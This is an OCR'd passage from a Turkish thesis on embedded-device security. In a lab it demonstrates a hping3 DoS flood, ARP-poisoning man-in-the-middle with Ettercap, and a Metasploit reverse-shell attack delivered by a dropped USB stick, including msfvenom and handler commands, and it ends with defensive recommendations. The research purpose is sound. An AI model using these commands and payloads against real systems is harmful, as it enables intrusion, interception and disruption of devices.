98.653887002 175.33.80.169 192.168.1.37 1254 59044 — 80 =t Len=1200 [TCP segment
298.654075211 28.16.221.202 192.168.1.37 1254 59045 ~ 80 [SYN] = Len=1200 [TCP segment
298.654214846 222.232.49.120 192.168.1.37 1254 59046 ~ 80 [SYN] Seq=0 Win=64 Len=1200 [TCP segment
298.654291281 232.115.210.234 192.168.1.37 1254 59047 —~ 80 [SYN] Seq=0 Win=64 Len=1200 [TCP segment
298 .654482062 28.102.149.165 192.168.1.37 1254 59048 ~ 80 [SYN] Seq=0 Win=64 Len=1200 [TCP segment
298.654627892 210.75.149.73 192.168.1.37 1254 59049 ~ 80 [SYN] Seq=0 Win=64 Len=1200 [TCP segment
298.654706548 92.192.141.12 192.168.1.37 1254 59050 ~ 80 [SYN] Seq=6 Win=64 Len=1200 [TCP segment
298.654883334 192.72.171.170 192.168.1. 1254 59051 ~ 80 [SYN] Seq=0 Win=64 Len=1200 [TCP segment

=4 ~| Expression.. +
=

© 7 wlan0: <live capture in progress> Packets: 279217 - Displayed: 279217 (100.0%) Profile: Default

To return to your computer, move the mouse pointer outside or press Ctri+Alt. o B

Sekil 6.9. Hping3 saldiris1 ve Wireshark ile gonderilen paketlerin goriilmesi

Saldir1 esnasinda Raspberry Pi lizerinden alinan ekran goriintiisii Sekil 6.9°da yer almaktadir.
Saldir1 oldukga kisa bir siire gergeklestirildigi halde ping siirelerinde dalgalanmalar oldugu

ve Raspberry Pi’nin CPU degerinin %22 degerine ulagtig1 goriilmiistiir.



pi@raspberrypi: ~
Dosya Diizenle Sekmeler Yardim

System

Sekil 6.10. Saldir1 esnasinda Raspberry Pi’nin durumu

6.3. Ortadaki Adam Saldiris1 (MitM)

Ortadaki adam saldirisi, kotii niyetli saldirganin haberlesen iki sistem arasina girip iletisimi
dinledigi, her iki tarafi taklit ettigi ve aradaki bilgilere ulagtig1 bir saldir1 tiiridiir. MitM
saldirist iletisimi gizlice dinleyerek gizlilige, iletisimi durdurarak ve mesajlart degistirerek
biitiinliige, mesajlar1 yok ederek veya taraflardan birinin sona ermesine neden olacak sekilde

mesajlar1 degistirerek erisilebilirlige zarar vermeyi amaglar [77].

Bu saldin tiiri genel olarak ARP (adres ¢oziimleme protokolii) protokoliindeki zafiyetler
kullanilarak gergeklestirilir. ARP, IP adresinin yerel agdaki aygitin MAC adresiyle
eslenmesine yardimci olan protokoldiir. Agda iletisim kurmak isteyen tiim cihazlar, diger
makinelerin MAC adreslerini bulmak i¢in sistemde ARP sorgulari yaymlar. Bu protokoldeki
aciklik kimlik dogrulama eksikligidir. Protokol, ARP isteklerinin ve yanitlarinin dogru
bilgisayarlardan gelip gelmedigini belirlemek i¢in uygun bir kimlik dogrulama
mekanizmasina sahip degildir. Bununla, bir saldirgan kurbanin cihazinda bir ARP istegi
veya yanit1 olusturabilir ve mesru iletisim kuran ana bilgisayar gibi davranabilir. Cihazlar,

isteklerin nereden geldigini dogrulamadan kabul ederler [78].

Ortadaki adam saldirisinin gergeklestirilme adimlart Sekil 6.10°da akis semasinda detayli

olarak anlatilmistir.



38

BASLAT
e e e e e e e e mmmmm ==
1 1
1 Tarama (Aym adda "Nmap" I Kesif Asamasi
I arac ile tarama gergeklestirilir.) "
" [ rl
Tarama sonucunda Raspberry Pi
ve badlantih cldudu cihazlar
tespit edildi mi?
Evet
Ptk 2ttty
1 i Arp zehilenmesi ile saldirgan 1
Hedef Raspberry Pi'ye ve i
! baglantih oldugu Windows taraﬂ:ﬁ;nﬂh;ﬁefa‘s;:;eerglere | | Saldin Asamasi
e makinaya MitM Saldinsi E onderilerek kurEan cihazlanin !
i "Ettercap” arac kullanilarak] J bl Id i
erceklestirilir. ARP tablosuna saldirganin
! g ; MAC adresi kayit edilir. |
A #

e e e e

Hayir

Saldinh Baganh Mi?

Saldir Tespit
Asamasli

Hedef cihazlar arasindaki
veri ele gecirilir.,

SON

Sekil 6.11. MitM saldirist akis diyagrami

Bu kapsamda, oncelikle Kali isletim sistemi iizerindeki nmap araci ile ag taranarak MitM
saldirisinin gergeklestirilmesi i¢in ARP zehirlenmesi yapilacak hedef ile haberlestigi sistem
tespit edilmistir. Sekil 6.11°de goriildiigii iizere tarama sonucunda elde edilen ag
adreslerinden 192.168.1.37 IP numarasi Raspberry Pi bilgisayarmna aittir. Daha sonra veri
akisinin gerceklestigi Raspberry Pi ve Windows bilgisayarin arasina girilerek hassas bilgiler

elde edilmistir.
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folders.sh

File Edit View Search Terminal Help
exploit.txt 873/tcp open rsync

Nmap done: 256 IP addresses (7 hosts up) scanned in 24.36 seconds
i~#

i~
tokens. txt :~# nmap -sn 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2021-01-23 11:53 EST
Nmap scan report for 192.168.1.1
Host is up (0.0056s latency).
MAC Address: B8:EC:A3:87:7C:44 (ZyXEL Communications)
onuc.txt. Nmap scan report for 192.168.1.33
@t Host is up (0.099s latency).
MAC Address: 28:24:FF:EE:93:79 (Wistron Neweb)
Nmap scan report for 192.168.1.35
Host is up (0.059s latency).
MAC Address: CC:21:19:41:EA:F4 (Unknown)
Nmap scan report for 192.168.1.36

=z B
il

1
-
®

oz

Host is up (0.059s latency).

MAC Address: 5C:6B:D7:09:D8:36 (Unknown)

Nmap scan report for 192.168.1.37

Host is up (0.060s latency).

MAC Address: B8:27:EB:08:86:07 (Raspberry Pi Foundation)

Niflap~SCdil Teport 107 19Z2.168.1.41

Host is up (0.11s latency)

MAC Address: FC:F8:AE:4E:C2:DF (Intel Corporate)

Nmap scan report for 192.168.1.38

Host is up.

Nmap done: 25; IP addresses (7 hosts up) scanned in 8.82 seconds
~#

B <«

Sekil 6.12. Nmap ile ag taramasi

Kali isletim sistemi iizerinde yer alan ettercap araci ile arp zehirlenmesi yapilarak iki kurban
bilgisayar arasina girilerek ortadaki adam saldiris1 gergeklestirilmistir. Saldirgan bilgisayar
olan Kali, Raspberry Pi ve Windows makinaya sahte ARP paketleri gondererek kendisini
diger bilgisayar olarak tanitir. Saldir1 basarili oldugunda ise her iki bilgisayarin ARP tablosu
degisir tiim trafik saldirgan tizerinden iletilmeye baslar. Sekil 6.12°de tarama sonucu IP

adresleri tespit edilen hedeflerin ettercap araci ile arp tablosunun zehirlendigi gortilmektedir.

kali - VMware Workstation - g
File Edit View VM Tabs Help > | & OO0 DESR|E
(5 kali 8] My Computer

Applications v Places v @ Ettercap v Sun 09:24

ﬂ ettercap 0.8.2

- mount-restart-vm- Start Targets Hosts View Mitm Filters Logging Plugins Info
=¥ shared- tools.sh

;. folders.sh
Target 1 A Target 2
. % 192.168.1.40 92.168.1.37

W exploit.txt

Targets x

»

X

m tokens.txt

sonuc.txt.
-
- xt

Delete | Delete
RP poisoning victims:

GROUP 1: 192.168.1.40 FC:F8:AE:4E:C2:DF

e kayit.txt

GROUP 2: 192.168.1.37 B8:27:EB:08:86:07
Unified sniffing already started...

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. o EmE @ |

Sekil 6.13. Ettercap arac1 ile hedeflerin ARP tablosunun zehirlenmesi
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Ettercap araci ile arp tablosu zehirlenip araya girildikten sonra Sekil 6.13” de Raspberry

Pi’den Windows makineye gonderilen led verisinin ele gecirildigi goriilmektedir.

(@) kali - VMware Workstation =0 .
File Edit View VM Tabs Hep | Il v | @ | O O O |0 = 2 3 |3
) kali % |

Applications v Places v @ Ettercap Sun 09:48

ﬁ ﬁ ettercap 0.8.2

mount-restart-vm- Start Targets Hosts View Mitm Filters Logging Plugins Info
g shared- tools.sh

Targets x | HostList x  Connections x | [Connection data x |
.. folders.sh

192.168.1.37:45810 192.168.1.40:65000
[1]re][1][e][1][e][1][e][1][e][1][e][1][e] [1][e][1][e][1][e][1][e][1][e][1][e][1][e]

| | % 1]1[0]

M exploit.txt

v
=

HZ tokens.txt

sonuc.txt. Join Views ‘ Inject Data Inject File I Kill Connection
txt : :

kayit.txt

[
e GROUP 1: 192.168.1.40 FC:F8:AE:4E:C2:DF
c

GRO!I 5 68.1.37 B8:27:EB:08:86:07
ciry

e

iPhone

To return to your computer, move the mouse pointer outside or press Ctrl+Alt. 2U84EL0=8 | D@

Sekil 6.14. Led verisinin ele gegirilmesi

6.4. Siire¢c Oldiirme Saldiris

Ters TCP (Reverse TCP) baglanti saldirgan tarafta port agilmasi, karsi makinenin o porta
baglanarak veri aktarmasi mantigina dayanir. Bu baglant:1 ile kurbanin makinesine mesru
gibi goriinen calistirilabilir bir dosya gonderilir. Eger kurban dosyay1 calistirirsa saldirganin
sistemin uzaktan kontroliinii ele gegirmesine izin veren oturum kurulmus olur. Kisinin
dosyayr calistirmasinin  saglanmasi sosyal miihendislik yontemleri kullanilarak
gergeklestirilir. Kurban ele gegirildikten sonra saldirgan senkronizasyon paketlerini kurbana
gonderir. Kurban sistem senkronizasyon paketlerini dinler ve arka kapiy1 olusturan istenen
baglantilara izin verir. Baglanti kurban sistem tarafindan baslatildigindan, sistemde giivenlik
duvart varsa bile baglantiya izin verilir [79]. Giivenlik duvarlar1 basta olmak iizere siber
giivenlik sistemleri kurumsal agin disindan gelen paketlere daha siki koruma, kisitlama ve
kontrol saglarken, ag i¢indeki trafige kars1 ayn1 oranda koruma tedbirleri uygulamamaktadir
[80]. Bu nedenle Reverse Shell kullanimi baglantinin devamliligi i¢in olduk¢a 6nemli bir

avantaj saglanmaktadir.

Saldir1 adimlart Sekil 6.15°de ki akis semasinda detayli olarak belirtilmistir.
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Kesif Asamasi

Saldir Asamasi

Saldir Tespit
Asamasl
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Bu saldiriyr gercgeklestirmek i¢in bu ¢alismada Kali igletim sistemi iizerinde yer alan
Metasploit aract kullanilmistir.  Metasploit sizma testi gerceklestirmek amaciyla
gelistirilmis, i¢inde binlerce zararli yazilim, arag ve payload barindiran bir platformdur.
Metasploit de yer alan igerikler hedef sistemler iizerindeki zafiyetleri sémiirmek amaciyla

kullanilmaktadir.

Hedef makine olan Raspberry Pi‘de bir Meterpreter shell agmak i¢in Metasploit
kullanilmistir. Metasploit'in veritabani ile etkilesim kurabilmesi i¢in 6ncelikle ‘postgresql’
servisi aktif edilmigtir. Daha sonra ‘msfconsole’ komutu c¢alisitirilarak Metasploit

baslatilmistir. Sekil 6.15’de Metasploit araytizii goriilmektedir.

Applications ~

root@kali: ~
File Edit View Search Terminal Help

mount-restart-vm-
shared- tools.sh
folders.sh

)xptowt xt

L%

!okens txt

/ / Metasploit! \
ool

sy OnuC.txt.

& txt

=[ me

; de 1

+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post 1

@ --=[ 536 payloads - 46 encoders - 10 nops ]
]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

kayit.txt
S i
~

4

o

=

Sekil 6.16. Metasploit araci

Metasploit baslatildiktan sonra, bir exploit secilmesi gerekir. Bu c¢alismada
exploit/multi/handler istismar modiili kullanilmigtir. Sekil 6.16’da modiiliin kullanilma
komutlar1 yer almaktadir. “‘use’ komutu exploit islemlerinin gergeklestirilmesi i¢in gereken
modiilleri segmemizi saglamaktadir. ‘exploit’, kullandigimiz modiiliin bir istismar modiilii
oldugunu belirtir.’multi’ ise bu istismarin igletim sistemlerinde ¢alistigini belirtir. handler’,
istismarin kurban makineden bazi verileri bekleyecegi ve ardindan istismarin bu verileri

kullanacagi anlamina gelir.
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Sekil 6.17. Metasploit aracinda kullanilacak istismar modiiliiniin se¢ilmesi

Sekil 6.17°de goriildiigii gibi kullanilacak modiil icerisindeki parametreler show options
komutu ile goriilebilmektedir. lgili parametrelere atamalar ise set komutu ile
gerceklestirilmistir. Yk icin ise LHOST ve LPORT olmak iizere iki parametre mevcuttur.
Bu segeneklerin her ikisinin ayarlanmasi gerekir. LHOST, saldirgan makine IP adresini ifade
eder. Bu ¢alismada saldirgan makinemiz olan Kali’nin IP adresi 192.168.1.38’dir. LPORT
ise yiikiin iletisim kurmasini istediginiz baglanti noktasini ifade eder. Caligmada 4321

numarali port kullanilmig olup bu herhangi bir port olabilir.

Kullandigimiz istismar modiilii igerisindeki payload (yiik) ile metasploit belirtilen porttan
dinleme yapmaya baslar ve olusturdugumuz python payload u ¢aligtirildiginda oturum aktif
hale gelir. python/meterpreter/reverse_tcp payloadu python platformunun desteklendigi
sistemlerde kullanilmaktadir. Saldirgan, kurbanin son kullanicinin agina uzaktan erisim
saglayabilmektedir. Bu saldirida basar1 biiyiik 6l¢lide sosyal miihendislik tekniklerine
baghdir. ‘python’ komutu ile payload platformunun python oldugu belirtilmektedir.
‘meterpreter’ komutu ile payload un Meterpreter Shell agacag: belirtilir. ‘reverse tcp’

komutu ise baglant: tiiriinii ifade eder.
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5] kali - VMware Workstation - o IEA
File Edit View VM Tabs Help v | & | OO0 | NeEHD|IE
5 kali

Applications v Places v Terminal »

0 e

mount-restart-vm-

File Edit View Search Terminal Help
msf > use

Display all 3639 possibilities? (y or n)

shared- tools.sh
s
olders.sh

msf > use exploit/multi/handler
- msf exploit( ) > show options

Mexplolt.txt Module options (exploit/multi/handler):

bt
il
okens.txt
el

wgoonuc.bxt.
51 ot

Name Current Setting Required Description

Wildcard Target

payload => python/meterpreter/reverse tcp

- msf exploit( ) > set payload python/meterpreter/reverse tcp
o E msf exploit( ) > set LHOST 192.168.1.38

Kayit.txt LHOST => 192.168.1.38
s msf exploit( ) > set LPORT 4321

LPORT => 4321

"o return to your computer, move the mouse pointer outside or press Ctrl+Alt. [=k C LS @ | 2
- Al e & e

Sekil 6.18. Metasploit aracinda gerekli parametrelerin tanimlanmasi

Metasploit lizerinde payload ayarlar1 yapildiktan sonra Meterpreter kabugunu tetiklemek
icin Raspberry Pi iizerinde ¢alistirilacak bir payload dosyasi olusturulmustur. Yiiki
olusturmak i¢in msfvenom adli bir ara¢ kullanilmistir. Msfvenom, bir girdi yiikiinden dosya

ve kabuk kodu ¢ikarmak i¢in kullanilan bir aragtir.

Sekil 6.18de yiik dosyasinin msfvenom araci ile olusturulma komutu yer almaktadir. Bu
komutta yer alan ‘-p’ yiikiin python/meterpreter /reverse tcp oldugunu tanimlar. LHOST
saldirgan makine IP'si, LPORT ise yiik tarafindan kullanilan baglanti noktasidir. ‘-f ’
degiskeni, ylikiin bi¢imini ayarlamamiza izin verir. Ham formati kullanacagimiz1 belirttik.

>’ parametresi ise ylikii payload3.py adli bir python dosyasina ¢ikartmak i¢in kullanilmistir.

Olusturulan bu payload hedef makine olan Raspberry Pi’ye aktarilarak calistirilmasi
saglanmalidir. Deney ortaminda dosyayr hedef makineye gondermek igin sosyal
miihendislik yontemleri kullanilmistir. Sosyal miithendislik, belirli bilgilere erisim saglamak
veya belirli bir davranisi 6grenmek igin kisi veya kisilerin manipiile edildigi bir dizi
yontemdir [81]. Sosyal miihendislik saldirilar1 yiiz yiize etkilesimlerde, telefonlar,
mektuplar, e-postalar, web siteleri, araciligiyla gergeklestirilebilir. Bu ¢aligmada ortaliga

birakilan bir USB bellek vasitasiyla gerceklestirilmistir.
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kali - VMware i -
File Edit View VM Tabs Help | & | O 00 0DEBR||E

(5 kali
Applications v Places v [ Terminal v Sat 16:03 @

root@kali: ~
- A 2 T o . e o

mount-restart-vm-
shared- tools.sh
'~ olders.sh

:~# msfvenom on/meterpreter/reverse tcp LHOST=192.168.1.38 LPORT
=4321 -f raw > payload3.py
No platform was selected, choosing Msf::Module::Platform::Python from the payloa

d
- No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 450 bytes

¥exploit.txt

i
=B

i~

okenS.D(t
el
wgoonuc.txt.

o) | ot

; faraday IDE

s kayit.txt

Sekil 6.19. Msfvenom araci ile payload olusturma

Payload bir usb bellege kopyalanmistir ve bu bellek ortaliga birakilarak merakli bir kullanict
tarafindan Raspberry Pi’ye takilarak Sekil 6.19’da goriildiigii gibi calistirilmasi saglanmistir.

A : - : . : : .
% \\H> = ‘p\@raspberryp\.m HTFD [Thonny - /home/pl.“[p\@raspberrypl ~] ‘ ’:5-‘ 1817

pi@raspberrypi: ~
i Dosya Diizenle Sekmeler Yardim
pi@raspberrypi: python payload3

Documents

Sekil 6.20. Raspberry Pi’de payload ¢alistiriimasi

Tiim bu asamalardan sonra run komutu ile exploit calistirilmistir ve Sekil 6.20°de
baglantinin kuruldugunu gosteren ekran goriintiisii yer almaktadir. Bu noktada artik hedef

sistem tizerinde neredeyse tam kontrole sahip olunmustur.
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@ Kkali - VMware i - ol
File Edit View VM Tabs Help > | e | (O 0O 0| 0S| E
(5 kali

Applications v Places v [ Terminal v

. A A root@kali: ~

mount-restart-vm-
shared- tools.sh
'~ olders.sh

File Edit View Search Terminal Help

Payload options (python/meterpreter/reverse tcp):

-E Name Current Setting Required Description

MSX o - LHOST 192.168.1.38 The listen address
SXPlometasploit framework LPORT 4321 yes The listen port

B
b & Exploit target:

kens.txt
O S Id Name

® % ® Wildcard Target

g oonuc.txt.

2 [ msf exploit( ) > run

- *] started reverse TCP handler on 192.168.1.38:4321
] *] Sending stage (560192 bytes) to 192.168.1.37
1 Sleeping before handling stage...
skayi?.txt *] Meterpreter session 1 opened (192.168.1.38:4321 -> 192.168.1.37:37608) at 2021-01-23 16:00:39 -0500
meterpreter > [|

Sekil 6.21. Kali ile Raspberry Pi arasindaki baglantinin kurulmasi

Sekil 6.21°de goriildiigii gibi ‘sysinfo’ komutu calistirildiginda bilgisayarin Raspberry Pi
oldugu goriilmiistiir. Ayrica ‘shell” komutu ile ele gegirilen sistemin komut satirina gegilerek
istenilen islemler buradan gergeklestirilebilir. ‘whoami’ komutunu calistirdigimizda “pi’
cevabi, ‘pwd’ komutunu calistirdigimizda ise iizerinden c¢alisilan dizin olan ‘/home/pi’

ciktisini yine Sekil 6.21°de gdormekteyiz.

(=] x
File Edit View VM Tabs Help v | & D0 0O |0 HS|E

5 kali

Applications v Places v [ Terminal v Sat 12:58 @

root@Kkali: ~
1
. # A File Edit View Search Terminal Help

moul -vm- Exploit target:
shared- tools.sh
*~ olders.sh Id  Name

E © Wildcard Target
Mexploit.xt msf exploit( ) > run

[*] started reverse TCP handler on 192.168.1.38:4321

i [*] Sending stage (50192 bytes) to 192.168.1.37

= [*] Sleeping before handling stage...

okens,txt [*] Meterpreter session 1 opened (192.168.1.38:4321 -> 192.168.1.37:59398) at 2021-01-23 12:56:28
meterpreter > sysinfo

Computer : raspberrypi
e : Linux 4.14.98-v7+ #1200 SMP Tue Feb 12 20:27:48 GMT 2019
: armv7l
m Language : tr TR
rpreter : python/linux

- meterpreter > shell
4 E Process 1504 created.

g Tonuc.ixt.
o ) | ot

Channel 2 created.

$ whoami
pi

$ pwd
/home/pi
s 1

skayitm /bin/sh: ©: can't access tty; job control turned off

To return to your computer, move the mouse pointer outside or press Ctrl+Alt

Sekil 6.22. Raspberry Pi’nin bilgilerini gérmek igin sysinfo komutunu kullanma
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‘Is -I” komutu ile ele gegirilen sistemdeki dosya ve klasorler listelenmis ve led verilerinin
aktarilmasini saglayan led2.py isimli python dosyasmin var oldugu Sekil 6.22°de

gorilmistiir.

(=] x
File Edit View VM Tabs Help @ | OO0 eS| E

(5 kali
Applications v Places v [ Terminal v

root@Kkali: ~
# File Edit View Search Terminal Help

start-vm- meterpreter > shell
shared- tools.sh Process 1504 created.
- olders.sh Channel 2 created.
/bin/sh: can't access tty; job control turned off
$ whoami

- E pi
$ pwd

¥jexploit.txt ;h'{":fT

Toplam 3556
ﬂ a i pi 1380540 H 2021-01-23-150029 1366x768_scrot.png
= = i pi 1079317 : 2021-01-23-202341 1366x768_scrot.png
okens. bt i pi 1113038 = 2021-01-23-203626_1366x768 scrot.png
drwxr-xr- i pi 4096 S Desktop
drwxr-xr- ipi 4096 Documents
drwxr-xr- i_ni 4096 0 Downloads
198 led2.py
519 : (€a.py
4096 MagPi
4096 Music
450 & payload3.py
4096 Pictures
4096 Public
drwxr-xr- i pi 4096 > pythonwww
drwxr-xr i pi 4096 Templates
-TW-r- ipi 4 2 veri.csv
SEW=Reh ipi 4 £ veri.txt
drwxr-xr-x ipi Videos
s 1

Sekil 6.23. Raspberry Pi tizerindeki dosya ve klasorlerin listelenmesi

‘ps —aux’ komutu ile hedef sistemde ¢alisan dosyalar Sekil 6.23°de listelenmistir. Calisan
dosyalar listelendiginde led2.py isimli python kodu da goriilmektedir. Calisan kod, Kill

komutu ile proses numarasi girilerek sonlandirilmis, led verilerinin akist durdurulmustur.

® kali - VMware Workstation - 8
File Edit Viev VM Tabs Help v | & ) (*

(5 kali

Applications v Places v [ Terminal v

- mount-restart-vm-

ehared: toolah File Edit View Search Terminal Help
- olders.sh i 850 : : 46532 18900 ? 2 : Ixterminal
i 851 0. = 2348 1300 ? s g gnome-pty-helpe
852 . . 6116 4288 H H bash
- r 1061 .4 % ? : : [kworker/u8:2]
1156 5 3 ? s [kworker/u8
= 2 1162 b ; ? - & [kworker/0:1]
M‘XPIOILM r 1172 ¢ - ? 3 % [kworker/3:2]
1173 . . ? z - [kworker/1:2]
e r 1197 0. . ? 2 : [kworker/2:1]
2 r 1256 & : ? - : [kworker/u8:0]
r 1257 A . ? - - [kworker/3:0]
OKGHS'M r 1274 . - ? : [kworker/1:1]
r 1275 7 3 ? 2 - [kworker/0:2]
i 1301 S : ? > £ python payload3
e i 1327 A 5 ? 4 python payload3
1332 . v ? Z /bin/sh -c /bin
1334 5 . ? 2 : /bin/sh
1336 2. 5 ? 4 [kworker/u8:1]
1339 A > 4 [kworker/3:1]
1340 . . ? [kworker/1:0]

1265

kayit. txt pi 1376 S 5 - : python led2.py
$ kill 1376

;eonuc.txt.

Sekil 6.24. Calisan uygulamalarin listelenmesi ve led2.py uygulamasinin sonlandirilmasi
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Raspberry Pi iizerinde ledin ¢alismasinin durdurdugu Sekil 6.24°te ‘sonlandirildi” mesajinin

alinmasiyla tespit edilmistir.

Sekil 6.25. Raspberry Pi ilizerinde uygulamanin sonlandiginin goriilmesi

6.5. Analiz Sonuglari

Calismanin analiz sonuclar1 Kali Linux isletim sistemi {izerinde yer alan Wireshark ve
Ettercap gibi {icretsiz programlar kullanilarak ve Raspberry Pi iizerinde saldirilarin

etkilerinin goriilmesiyle elde edilmistir.

[k olarak Raspberry Pi’ye gerceklestirilen DoS saldiris analiz edildiginde saldirinin basarili
oldugu goriilmiistiir. Gergeklestirilen DoS saldirist ile sistemde yer alan Raspberry Pi’ye
kisa bir siireligine biiyiik miktarlarda paketler gonderilerek Sistemin asir1 yiik altinda kalmasi
saglanmistir. Cihaz {lizerinden goriildiigii gibi CPU degeri kisa bir siire zarfinda %1°den
%22 degerine yiikselmistir. Ayrica Raspberry Pi’den Windows makinaya gonderilen ping

paketlerinin iletim siiresinin 6199 milisaniyeye kadar ¢iktigi tespit edilmistir.

Gergeklestirilen MitM saldirisinda Raspberry Pi ve Windows makine arasindaki verinin
Ettercap araci ile ele gegirilmesi planlanmis ve saldirinin basarili oldugu goriilmistiir.
Saldirgan Kali bilgisayar1 sahte ARP istekleri ile kendisini hedef cihaz olarak gostermistir.

Boylece gercek hedef olan Windows bilgisayara gidecek paketler saldirgan iizerinden
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akmaya baglamistir. Raspberry Pi ilizerinde saldirinin gergeklestigine yonelik bir tespit

yapilamamugtir.

Son olarak siire¢ 6ldiirme saldirisi ile sistemde ¢alisan ve Windows makinaya led verilerinin
gonderilmesini saglayan uygulamanin (kodun) durdurulmasi hedeflenmistir. Basarili bir
sekilde gerceklesen saldiri neticesinde sistemde c¢alisan uygulamalar arasindan istenen
uygulama bulunarak sonlandirilmistir. Raspberry Pi iizerinde led bilgilerinin
gonderilmedigini belirten “sonlandirild’” mesaj1 goriilerek saldir1 gerceklestigi tespit

edilmistir. Cizelge 6.2°de gergeklestirilen saldirilarin basar1 durumlart yer almaktadir.

Cizelge 6.2. Gergeklestirilen saldirilar ve basar1 durumlari

Saldir Tiiri Saldiri Araclari Tespit YoOntemi Basari Durumu

e Raspberry Pi'nin CPU degerinin ve
paket iletim sliresinin artmasi

DoS Hping3 Basaril
ping e Wireshark Araci ile Bogon IP :
adreslerinin goérilmesi
MitM Ettercap Tespit Edilemedi. Basarili
Siirec Oldirme Metasploit ve Raspberry Pi lizerinde gorilen Basanil

Sosyal Muhendislik | “Sonlandirildi” mesaji.

Saldirilarin sonuglari, Raspberry Pi 6zelinde diger gdmiilii sistem cihazlarinin bu saldirilara
kars1 savunmasiz oldugunu ve bu gibi kritik cihazlar i¢in gerekli dnlemlerin alinmasinin
hayati 6neme sahip oldugunu gostermistir. Saldirilarin tespit asamasina yonelik sonuglar ise
gomilii  sistemlerde gergeklesen haberlesme  trafiginin  siirekli  izlenmesinin,
gerceklestirilebilecek muhtemel saldirilarin tespit edilmesi ve 6nlem alinmasinda 6nemli

katkilar saglayabilecegini gostermistir.
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7. SONUC VE ONERILER

Endiistrilerde, otomobillerde, tiiketici cihazlarinda, ev otomasyonlarinda, is altyapisinda ve
askeri donanimlarda cesitli ve karmagik uygulamalarda her yerde mevcut ve yaygin kullanim
alani1 elde eden gomiilii sistemler i¢in giivenlik unsurunun 6nemi biiyiiktiir. Gergek zamanli
yanit alma mekanizmasi ile kesintisiz ve siirekli calismak i¢in tasarlanan gomiilii sistemler,
giivenlik fikrini ikinci plana attigindan saldirganlar i¢in verimli bir ortam sayilmaktadir. Bu
sebeple ¢ok ¢esitli saldirilar gomiilii sistem cihazlarina uygulanabilir. Bu kapsamda tez
calismasinda  gergeklestirilen saldirilar neticesinde aga bagli gomiili  sistem
uygulamalarinda kullanilan Raspberry Pi bilgisayarinin bir takim saldirilara maruz

kalabilecegi goriilmiistiir.

Bu c¢aligmadaki temel amag¢ gomiilii cihazlarin kullanilmasiyla giderek daha fazla otomatik
hale gelen diinyamizda bu sistemlerdeki gilivenlik agiklarinin fiziksel diinyada kesintiye ve
yikima neden olmak i¢in kullanilip kullanilamayacagini tespit etmektir. Deney ortaminda
yapilan saldirilar neticesinde giivenlik agig1 bulunan bu cihazlarin somiiriilmesinin gergek
bir tehdit olarak algilanip gomiilii cihazlarin giivenliginin ihlal edilebildigi gortilmistiir.
Sinama ortaminda gémiilii cihaz olarak Raspberry Pi tek karth bilgisayar1 kullanilmistir.
Bunu sebebi uygun fiyatli, erisilebilir ve popiiler bir iiriin olmasinin yani sira literatiirde
cihazla ilgili giivenlik sorunlarina ¢ok fazla deginilmediginin goriilmesidir. Bununla birlikte,
benzer uygulamalar altinci boliimde aciklanan saldiri, gézlem ve tespit asamalar: takip

edilerek farkli marka ve model cihazlara da uygulanabilir.

Calismanin altinci boliimiinde gerceklestirilen saldirilardan DoS saldirisi, internete bagl bir
gomilii cithazin sundugu hizmetlerin engellenebilecegi ve sistemin c¢alisamaz hale
getirilebileceginin tespit edilmesi agisindan onem tasimaktadir. Hping3 araci ile bogon
IP’ler tizerinden TCP paketleri kullanilarak gergeklestirilen bu saldirida saldirganin tespit
edilmesi neredeyse imkansizdir. Saldir1 siiresi kisa olmasina ragmen cihazin CPU
kaynaginin artmaya basladig1 ve paket trafiginde dalgalanmalar yasandig1 goriilmiistiir. iki
cithazin arasindaki iletisimin dinlenmesi, verilerin ele gegirilmesi ve bu verilerde degisiklik
yapilmasini kapsayan ortadaki adam saldirisi ile Raspberry Pi’den Windows bilgisayara
gonderilen veri ele ge¢irilmistir. Bu saldirt gomiilii cihazlardaki kritik bilgilerin ele
gegirilebileceginin gosterilmesi agisindan 6nemlidir. Son olarak metasploit araci ile ters tcp

baglanti ve sosyal miihendislik yontemi kullanilarak yapilan siire¢ 6ldiirme saldirist ile



52

gomiilii cihazda g¢alisan kritik bir uygulamanin durdurulabilecegi goriilmiistiir. Raspberry
Pi’den Windows bilgisayara led bilgilerinin aktarilmasini saglayan uygulama siire¢ 6ldiirme
saldiris1 gerceklestirilerek sonlandirilmistir. Deney ortaminda gerceklestirilen bu saldirilar

icin alinmas1 gereken tedbirlerden ise asagida bahsedilmistir.

DoS/DDoS saldirilarinin engellenmesi ve erken tespitine yonelik gémiilii sistemlerin kurulu
oldugu aglarda oncelikle bir risk degerlendirmesi yapilmali ve bu degerlendirme sonucunda
agda kullanilmas1 gereken giivenlik iirlinleri belirlenmelidir. Kritik sistemlerde kullanilan
gomiilii cihazlarin bu saldirilara maruz kalip kalmayacaginin tespiti icin ise belirli zaman
araliklarinda yiik testi yapilmali ve ¢ikan sonuglar analiz edilerek gerekli 6nlemler
alimmalidir. Ag altyapilarinda kullamilan router, switch vb. ag cihazlarinin
konfigiirasyonlarinda yasanan hatalarin giderilmesi, aga bagl sistemlerde kullanilan
giivenlik duvari triinlerinde gerekli ayarlarin yapilmasi, kullanilmayan servislerin

kapatilmasi gibi uygulamalarda derinlemesine giivenlik i¢in 6nemlidir.

Agdaki bir istemcinin taklit edilmesine dayanan ve ARP zehirlenmesi yontemi ile
gerceklestirilen ortadaki adam saldirisinin tespit edilmesi i¢in arpwatch gibi ARP trafigini
izleyen uygulamalar ile MAC ve IP adreslerindeki degisim takip edilmelidir. MAC ve IP

eslesmeleri degistigi anda arpwatch yazilimi ile degisim tespit edilir ve belirlenen kriterler

dogrultusunda log iiretilebilir veya ilgili kisilere mail yoluyla bilgilendirme saglanabilir.

Stire¢  Oldiirme saldirist ile kritik sistemlerdeki uygulamalarin sonlandirilabilecegi
goriildiigiinden, ¢alisan uygulamalarin 7/24 izlenmelidir. Sosyal miihendislik yontemindeki
basar1 oraninin saldiriin gergeklestirilmesindeki etkisi diisliniildiigiinde kritik sektorlerde
calisan kisilerin farkindaliginin artirilmasina yonelik ¢alismalar yapilmalidir. Kullanicilara

siklikla bilinglendirici egitimler verilmelidir.

Saglam bir ¢oziim, glivenligi en basindan ele alir ve giivenlik agiklarni tespit etmek igin
sistemin yasam donglislinli analiz eder. Giivenlik agiklarinin kaynaklarini ve nedenlerini
